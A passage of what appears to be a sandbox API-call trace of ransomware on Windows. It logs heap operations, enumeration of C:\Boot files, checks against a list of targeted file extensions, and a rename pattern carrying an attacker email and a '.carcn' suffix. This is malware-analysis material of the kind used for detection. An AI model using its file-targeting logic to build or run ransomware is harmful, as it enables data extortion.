dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.166] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.823] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0307.966] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0309.037] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0309.038] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0309.062] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0309.092] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0309.093] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0309.093] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0309.095] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0309.469] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0309.471] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0309.471] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0309.472] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0309.472] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0309.472] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0309.650] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0309.650] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0309.883] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0310.049] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0310.058] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0310.093] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0310.093] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0310.113] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0310.217] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0310.218] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0310.218] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0310.220] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0310.220] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0310.220] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0311.343] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0311.956] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0312.144] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0312.144] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0312.144] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0312.146] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0312.146] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0312.147] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0312.147] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0312.148] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 Thread: id = 102 os_tid = 0xf9c [0291.289] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x3c814e8 [0291.290] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x3c914f0 [0291.290] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x7970b0 [0291.290] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x6) returned 0x795fe8 [0291.290] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796eb8 [0291.290] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x100000) returned 0x3f52020 [0291.293] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x7970c8 [0291.293] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7970c8, Size=0x20) returned 0x75a1c0 [0291.293] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796f78 [0291.293] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796f78, Size=0x20) returned 0x75a350 [0291.293] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0291.294] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0291.294] Wow64DisableWow64FsRedirection (in: OldValue=0x34fff50 | out: OldValue=0x34fff50*=0x0) returned 1 [0291.294] lstrlenW (lpString="kernel32.dll") returned 12 [0291.294] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a1c0 | out: hHeap=0x700000) returned 1 [0291.294] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0291.294] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a350 | out: hHeap=0x700000) returned 1 [0291.294] Sleep (dwMilliseconds=0x64) [0291.543] lstrcmpiW (lpString1=".MARKER", lpString2=".carcn") returned 1 [0291.543] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0291.543] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0291.546] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=0) returned 1 [0291.546] CloseHandle (hObject=0x330) returned 1 [0291.546] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0291.546] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0291.546] lstrlenW (lpString=".doc") returned 4 [0291.546] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0291.546] lstrlenW (lpString=".docx") returned 5 [0291.546] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0291.546] lstrlenW (lpString=".pdf") returned 4 [0291.546] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0291.546] lstrlenW (lpString=".xls") returned 4 [0291.546] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0291.546] lstrlenW (lpString=".xlsx") returned 5 [0291.546] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0291.546] lstrlenW (lpString=".ppt") returned 4 [0291.546] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0291.546] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0291.546] lstrlenW (lpString=".zip") returned 4 [0291.546] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0291.546] lstrlenW (lpString=".rar") returned 4 [0291.546] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0291.546] lstrlenW (lpString=".bz2") returned 4 [0291.547] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0291.547] lstrlenW (lpString=".7z") returned 3 [0291.547] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0291.547] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0291.547] lstrlenW (lpString=".dbf") returned 4 [0291.547] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0291.547] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0291.547] lstrlenW (lpString=".1cd") returned 4 [0291.547] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0291.547] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0291.547] lstrlenW (lpString=".jpg") returned 4 [0291.547] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0291.547] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0291.547] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0291.547] lstrlenW (lpString=".doc") returned 4 [0291.547] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0291.547] lstrlenW (lpString=".docx") returned 5 [0291.547] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0291.547] lstrlenW (lpString=".pdf") returned 4 [0291.547] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0291.547] lstrlenW (lpString=".xls") returned 4 [0291.547] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0291.547] lstrlenW (lpString=".xlsx") returned 5 [0291.547] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0291.547] lstrlenW (lpString=".ppt") returned 4 [0291.547] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0291.547] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0291.547] lstrlenW (lpString=".zip") returned 4 [0291.547] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0291.548] lstrlenW (lpString=".rar") returned 4 [0291.548] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0291.548] lstrlenW (lpString=".bz2") returned 4 [0291.548] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0291.548] lstrlenW (lpString=".7z") returned 3 [0291.548] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0291.548] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0291.548] lstrlenW (lpString=".dbf") returned 4 [0291.548] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0291.548] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0291.548] lstrlenW (lpString=".1cd") returned 4 [0291.548] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0291.548] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0291.548] lstrlenW (lpString=".jpg") returned 4 [0291.548] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0291.548] lstrlenW (lpString="BCD") returned 3 [0291.548] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.549] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0291.549] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0291.549] lstrlenW (lpString=".doc") returned 4 [0291.549] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0291.549] lstrlenW (lpString=".docx") returned 5 [0291.549] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0291.549] lstrlenW (lpString=".pdf") returned 4 [0291.549] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0291.549] lstrlenW (lpString=".xls") returned 4 [0291.549] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0291.549] lstrlenW (lpString=".xlsx") returned 5 [0291.549] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0291.549] lstrlenW (lpString=".ppt") returned 4 [0291.549] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0291.549] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0291.549] lstrlenW (lpString=".zip") returned 4 [0291.549] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0291.549] lstrlenW (lpString=".rar") returned 4 [0291.549] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0291.549] lstrlenW (lpString=".bz2") returned 4 [0291.549] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0291.549] lstrlenW (lpString=".7z") returned 3 [0291.549] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0291.549] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0291.549] lstrlenW (lpString=".dbf") returned 4 [0291.549] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0291.549] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0291.549] lstrlenW (lpString=".1cd") returned 4 [0291.549] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0291.549] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0291.549] lstrlenW (lpString=".jpg") returned 4 [0291.549] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0291.549] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0291.549] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0291.549] lstrlenW (lpString=".doc") returned 4 [0291.549] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0291.550] lstrlenW (lpString=".docx") returned 5 [0291.550] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0291.550] lstrlenW (lpString=".pdf") returned 4 [0291.550] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0291.550] lstrlenW (lpString=".xls") returned 4 [0291.550] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0291.550] lstrlenW (lpString=".xlsx") returned 5 [0291.550] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0291.550] lstrlenW (lpString=".ppt") returned 4 [0291.550] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0291.550] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0291.550] lstrlenW (lpString=".zip") returned 4 [0291.550] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0291.550] lstrlenW (lpString=".rar") returned 4 [0291.550] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0291.550] lstrlenW (lpString=".bz2") returned 4 [0291.550] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0291.550] lstrlenW (lpString=".7z") returned 3 [0291.550] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0291.550] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0291.550] lstrlenW (lpString=".dbf") returned 4 [0291.550] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0291.550] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0291.550] lstrlenW (lpString=".1cd") returned 4 [0291.550] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0291.550] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0291.550] lstrlenW (lpString=".jpg") returned 4 [0291.550] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0291.550] lstrcmpiW (lpString1=".LOG1", lpString2=".carcn") returned 1 [0291.551] lstrlenW (lpString="BCD.LOG1") returned 8 [0291.551] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0291.552] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=0) returned 1 [0291.552] CloseHandle (hObject=0x330) returned 1 [0291.557] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0291.557] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0291.557] lstrlenW (lpString=".doc") returned 4 [0291.557] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0291.557] lstrlenW (lpString=".docx") returned 5 [0291.557] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0291.557] lstrlenW (lpString=".pdf") returned 4 [0291.557] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0291.557] lstrlenW (lpString=".xls") returned 4 [0291.557] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0291.557] lstrlenW (lpString=".xlsx") returned 5 [0291.557] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0291.557] lstrlenW (lpString=".ppt") returned 4 [0291.557] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0291.557] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0291.557] lstrlenW (lpString=".zip") returned 4 [0291.557] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0291.557] lstrlenW (lpString=".rar") returned 4 [0291.557] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0291.557] lstrlenW (lpString=".bz2") returned 4 [0291.557] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0291.557] lstrlenW (lpString=".7z") returned 3 [0291.557] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0291.557] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0291.557] lstrlenW (lpString=".dbf") returned 4 [0291.557] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0291.558] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0291.558] lstrlenW (lpString=".1cd") returned 4 [0291.558] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0291.558] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0291.558] lstrlenW (lpString=".jpg") returned 4 [0291.558] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0291.558] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0291.558] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0291.558] lstrlenW (lpString=".doc") returned 4 [0291.558] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0291.558] lstrlenW (lpString=".docx") returned 5 [0291.558] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0291.558] lstrlenW (lpString=".pdf") returned 4 [0291.558] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0291.558] lstrlenW (lpString=".xls") returned 4 [0291.558] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0291.558] lstrlenW (lpString=".xlsx") returned 5 [0291.558] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0291.558] lstrlenW (lpString=".ppt") returned 4 [0291.558] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0291.558] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0291.558] lstrlenW (lpString=".zip") returned 4 [0291.558] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0291.558] lstrlenW (lpString=".rar") returned 4 [0291.558] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0291.558] lstrlenW (lpString=".bz2") returned 4 [0291.558] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0291.559] lstrlenW (lpString=".7z") returned 3 [0291.559] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0291.559] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0291.559] lstrlenW (lpString=".dbf") returned 4 [0291.559] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0291.559] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0291.559] lstrlenW (lpString=".1cd") returned 4 [0291.559] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0291.559] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0291.559] lstrlenW (lpString=".jpg") returned 4 [0291.559] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0291.559] lstrcmpiW (lpString1=".LOG2", lpString2=".carcn") returned 1 [0291.559] lstrlenW (lpString="BCD.LOG2") returned 8 [0291.559] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0291.560] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=0) returned 1 [0291.560] CloseHandle (hObject=0x330) returned 1 [0291.560] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0291.560] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0291.560] lstrlenW (lpString=".doc") returned 4 [0291.560] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0291.560] lstrlenW (lpString=".docx") returned 5 [0291.560] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0291.560] lstrlenW (lpString=".pdf") returned 4 [0291.560] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0291.560] lstrlenW (lpString=".xls") returned 4 [0291.560] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0291.560] lstrlenW (lpString=".xlsx") returned 5 [0291.560] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0291.560] lstrlenW (lpString=".ppt") returned 4 [0291.560] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0291.560] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0291.560] lstrlenW (lpString=".zip") returned 4 [0291.560] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0291.560] lstrlenW (lpString=".rar") returned 4 [0291.560] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0291.560] lstrlenW (lpString=".bz2") returned 4 [0291.561] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0291.561] lstrlenW (lpString=".7z") returned 3 [0291.561] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0291.561] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0291.561] lstrlenW (lpString=".dbf") returned 4 [0291.561] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0291.561] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0291.561] lstrlenW (lpString=".1cd") returned 4 [0291.561] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0291.561] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0291.561] lstrlenW (lpString=".jpg") returned 4 [0291.561] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0291.561] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0291.561] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0291.561] lstrlenW (lpString=".doc") returned 4 [0291.561] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0291.561] lstrlenW (lpString=".docx") returned 5 [0291.561] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0291.561] lstrlenW (lpString=".pdf") returned 4 [0291.561] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0291.561] lstrlenW (lpString=".xls") returned 4 [0291.561] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0291.561] lstrlenW (lpString=".xlsx") returned 5 [0291.561] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0291.561] lstrlenW (lpString=".ppt") returned 4 [0291.561] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0291.561] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0291.562] lstrlenW (lpString=".zip") returned 4 [0291.562] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0291.562] lstrlenW (lpString=".rar") returned 4 [0291.562] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0291.562] lstrlenW (lpString=".bz2") returned 4 [0291.562] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0291.562] lstrlenW (lpString=".7z") returned 3 [0291.562] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0291.562] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0291.562] lstrlenW (lpString=".dbf") returned 4 [0291.562] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0291.562] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0291.562] lstrlenW (lpString=".1cd") returned 4 [0291.562] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0291.562] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0291.562] lstrlenW (lpString=".jpg") returned 4 [0291.562] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0291.562] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0291.562] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0291.562] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0291.564] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=77664) returned 1 [0291.564] CloseHandle (hObject=0x330) returned 1 [0291.564] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0291.564] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.564] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.564] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0291.564] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0291.564] lstrlenW (lpString=".doc") returned 4 [0291.564] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0291.565] lstrlenW (lpString=".docx") returned 5 [0291.565] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0291.565] lstrlenW (lpString=".pdf") returned 4 [0291.565] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0291.565] lstrlenW (lpString=".xls") returned 4 [0291.565] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0291.565] lstrlenW (lpString=".xlsx") returned 5 [0291.565] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0291.565] lstrlenW (lpString=".ppt") returned 4 [0291.565] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0291.565] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0291.565] lstrlenW (lpString=".zip") returned 4 [0291.565] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0291.565] lstrlenW (lpString=".rar") returned 4 [0291.565] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0291.565] lstrlenW (lpString=".bz2") 